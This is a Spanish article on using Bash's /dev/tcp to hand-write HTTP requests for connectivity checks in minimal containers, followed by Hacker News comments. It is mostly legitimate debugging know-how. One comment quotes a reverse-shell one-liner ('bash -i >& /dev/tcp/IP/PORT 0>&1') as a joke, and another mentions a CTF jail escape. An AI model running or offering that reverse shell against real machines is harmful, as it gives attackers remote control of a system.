- En las imágenes mínimas de contenedores, a menudo faltan curl o wget, así que resulta útil contar con una alternativa para verificar la conectividad hacia servicios internos sin instalar paquetes
- La redirección
/dev/tcp/host/port de Bash puede abrir un socket TCP, lo que permite escribir y enviar directamente una cadena de solicitud HTTP/1.1 y leer la respuesta
/dev/tcp no es una ruta del sistema de archivos, sino una función interna de Bash, por lo que no funciona con ls /dev/tcp ni con los métodos normales de acceso a archivos desde otros shells
- Este método es una técnica de depuración simple que no maneja redirecciones, respuestas chunked, compresión, reintentos ni TLS, y sin
Connection: close cat puede quedarse esperando
- Para el trabajo diario con HTTP, lo correcto es usar curl, pero en contenedores pequeños donde es difícil agregar herramientas, esto basta para una verificación rápida de conectividad
Escribir una solicitud HTTP con descriptores de archivo de Bash
- Había que comprobar si se podía acceder al endpoint
/health de otro servicio dentro de una red interna de Docker, pero la imagen no tenía curl ni wget
- Bash puede conectar un socket TCP a un descriptor de archivo, así que se puede escribir y enviar una solicitud HTTP directamente de esta forma
exec 3<>/dev/tcp/service/8642
printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3
cat <&3
service debe ser un nombre de host que pueda resolverse y alcanzarse desde donde se ejecuta
- Puede ser el nombre de un contenedor o servicio configurado en la red de Docker
- También puede usarse un nombre DNS resolvible
- El host y el puerto deben ajustarse según el entorno
- La salida de la respuesta incluye la línea de estado, los encabezados, una línea en blanco y el cuerpo
- Para agregar encabezados, basta con insertar más líneas terminadas en
\r\n antes de la línea en blanco final que cierra la solicitud
exec 3<>/dev/tcp/service/8642
printf 'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n' "$API_KEY" >&3
cat <&3
Por qué /dev/tcp no es un archivo real
/dev/tcp no es un archivo de dispositivo real, sino una redirección manejada por Bash
- Como esa ruta no existe en disco,
ls /dev/tcp falla
- Si se ejecuta
cat /dev/tcp/... desde otro shell, también dará error
- Según el manual de Bash, en
/dev/tcp/host/port, si host es un nombre de host válido o una dirección de internet y port es un número de puerto entero o un nombre de servicio, Bash intentará abrir un socket TCP
- Bash realiza la consulta DNS y el
connect(2), y exec 3<> conecta el socket al descriptor de archivo 3 para permitir lectura y escritura
No es un reemplazo de un cliente HTTP, sino una herramienta temporal de inspección
- Este enfoque no es un cliente HTTP real, así que no maneja redirecciones, respuestas chunked, compresión, reintentos, TLS ni otros detalles
- El encabezado
Connection: close es importante
- Sin él, el servidor puede mantener la conexión abierta según el comportamiento predeterminado de HTTP/1.1
- En ese caso,
cat <&3 puede quedarse esperando EOF y no terminar
- Envolverlo con algo como
timeout 6 bash -c '...' también ayuda a cubrir casos en que la conexión no se cierra
/dev/tcp abre un socket sin procesar, así que solo aplica a HTTP en texto plano; para https se necesita openssl s_client
- No es una función POSIX, sino de Bash, así que no puede usarse en
dash, que es /bin/sh en Debian, ni en zsh; hay que invocar bash directamente
- Es una opción de compilación que se habilita con
--enable-net-redirections al compilar Bash
- En resumen, más que una herramienta general para reemplazar curl, sirve para comprobar rápidamente la conectividad en contenedores pequeños donde no se puede agregar instalación adicional
1 comentarios
Opiniones de Hacker News
De niño, a fines de los 90, me impactó descubrir que podía conectarme con
telneta los puertos 80, 25 y 110 y hablar directamente con el servidorPodía escribir a mano una solicitud simple como
GET / HTTP/1.1, o enviar correos en el puerto 25 conHELO,mail-fromymail-to, y también obtener la lista del buzón y mensajes individuales por POP3Esa experiencia fue el inicio de darme cuenta de que “no hay magia”, y de entender que todas las partes de una computadora fueron hechas por personas y que, con esfuerzo, se pueden comprender hasta cierto nivel
En el futuro la mayoría lo dejará en manos de agentes, pero para quien quiera aprender cómo funcionan realmente las cosas sin los filtros de modelos y salvaguardas, probablemente seguirán quedando huecos interesantes en varios sistemas
jacques.chirac@elysee.fry parecer hacker ante tus amigosEra una estructura con montones de siglas encima de distintas formas de crear, enviar y leer archivos de texto estructurados
Un día me di cuenta de que hasta las bases de datos eran archivos de texto y tuve que sentarme un rato
telneta POP3 y SMTP respectivamenteCon
telnettampoco sirve TLS, y muchos servidores solo devuelven redirecciones para solicitudes HTTPSi usas
openssl s_clienten lugar detelnet, sí puedes tunelizar texto dentro de TLS, aunque se siente un poco como una trampaTambién da pena que muchos protocolos modernos prefieran codificación binaria, lo que hace más difícil manosearlos a nivel de línea sin herramientas especializadas
Aun así, parece probable que en el futuro siga habiendo gente que se meta a fondo en estas cosas; como encender fuego con un palo o cocer ladrillos de barro, las técnicas antiguas son divertidas y a veces realmente útiles
De hecho, gracias a la IA ahora es más fácil experimentar, porque puedes preguntarle a un LLM y aprender, por ejemplo, la mayoría de los comandos IMAP comunes sin tener que ponerte a revisar RFCs
zshtiene, aparte de/dev/tcpde Bash, los móduloszsh/net/tcpyzsh/zftphttps://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...
https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...
https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....
En Plan 9 existía
/net, que era un sistema de archivos sintético real, así que desde cualquier programa podías hacer este tipo de cosas y másTambién podías montar el
/netde otra máquina mediante el protocolo 9P y usarlo como una especie de VPN improvisada, y se puede experimentar con 9front desde LinuxEn las bibliotecas de Go también se ven rastros del
/netal estilo Plan 9, parece parte del legado de Rob PikeFunciona bien con
example.comSi lo abres con
exec 3<>/dev/tcp/example.com/80, luego envíasprintf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3y después hacescat <&3, apareceHTTP/1.1 200 OKHoy en día quedan tan pocos dominios que no fuercen HTTPS que, para este tipo de pruebas, uno termina yendo a example.com
Si en el navegador vas a http://example.com, te redirige otra vez a la página del portal cautivo y puedes completar de nuevo el proceso para obtener acceso a internet
printfLo correcto es incluir
\r, pero incluso si lo omites igual funcionaTambién se puede hacer la broma de que, para hablar con la computadora de un amigo, todos usan
bash -i >& /dev/tcp/IP/PORT 0>&1.No es que Bash hable HTTP, sino que te permite abrir sockets TCP
Lo que se hace aquí es hablar HTTP directamente, y para pruebas o depuración está bien, incluso es divertido hacerlo a mano, pero usar un cliente HTTP improvisado como este en un entorno real no supervisado es buscarse problemas
Este código de juguete puede romperse porque no parsea HTTP correctamente
Claro que también se puede escribir un cliente HTTP/1.1 completo en Bash, e incluso hacer un servidor HTTP en Bash puro: https://github.com/bahamas10/bash-web-server
Una opción menos loca suele ser
nc, y por lo general es una decisión más sensataBash no puede escuchar sockets TCP/UDP para aceptar conexiones entrantes
El proyecto
bash-web-servercompila un listener de sockets en C y luego lo carga dinámicamente en tiempo de ejecución como módulo “integrado” para proporcionar esa funcionalidad[0] https://github.com/bahamas10/bash-web-server/tree/main/loada...
nco alguna herramienta similar de la familia netcat sería una mejor opción, pero la imagen que estaba usando en ese momento no tenía ninguna de esas herramientasLlevo escribiendo solicitudes HTTP a mano desde antes de HTTP/1.1 y de que existiera el encabezado obligatorio
HostUsarlo para algo serio sí sería una locura, igual que implementar un servidor web en Bash, pero para pruebas rápidas funciona bastante bien
https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...
Aprendí esto viendo al equipo de Bauhinia usarlo al resolver un reto de CTF
Era un CTF de varias etapas, y al principio conseguían una shell
systemcon una cadena ROP, pero en la práctica era un entorno tipo cárcel donde no se podía ejecutar casi nada salvo BashLo único disponible era algo como
readycat, así que usaroncat /dev/tcp, luego lo redirigieron a un terminal virtual, leyeron su contenido, obtuvieron una URL interna del sistema y así encontraron la flagDescubrí este método mientras verificaba la conectividad entre contenedores dentro de una red interna de Docker, porque la imagen no tenía ni
curlniwgetLo sorprendente fue ver que Bash tiene
/dev/tcp, así que con un poco de magia de shell se puede armar algo parecido a una solicitud HTTPPor ejemplo, puedes abrir
exec 3<>/dev/tcp/service/8642, enviarprintf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3y luego hacercat <&3Aquí
servicees el nombre del host al que te conectas y8642es el puerto al que intentas hablarle por HTTPNo se me ocurre ninguna, y de hecho lo considero casi indispensable incluso en imágenes de producción
En Debian antiguo y en distribuciones derivadas de Debian esto no funcionaba, porque el acceso TCP mediante archivos virtuales venía desactivado por defecto
Según entiendo, en 2009 cambiaron de postura y habilitaron la función, y en el Bug #146464 hay discusión y enlaces
<https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>
Además de esto, también hay varias formas de acceder directamente a funciones de red desde herramientas de shell, como
curl,wget, los comandosHEADyGETde Perl,netcat/nc,socat,telnet, etc.Recuerdo que de adolescente asustaba a otros enviando mensajes inquietantes con
echoal/dev/pttyde otra personaEl mensaje que yo enviaba aparecía como por arte de magia en su terminal abierta
Todavía no entiendo por qué en la sala de cómputo usaban cuentas distintas por cliente y no las bloqueaban; quizá era una limitación de los VAX en esa época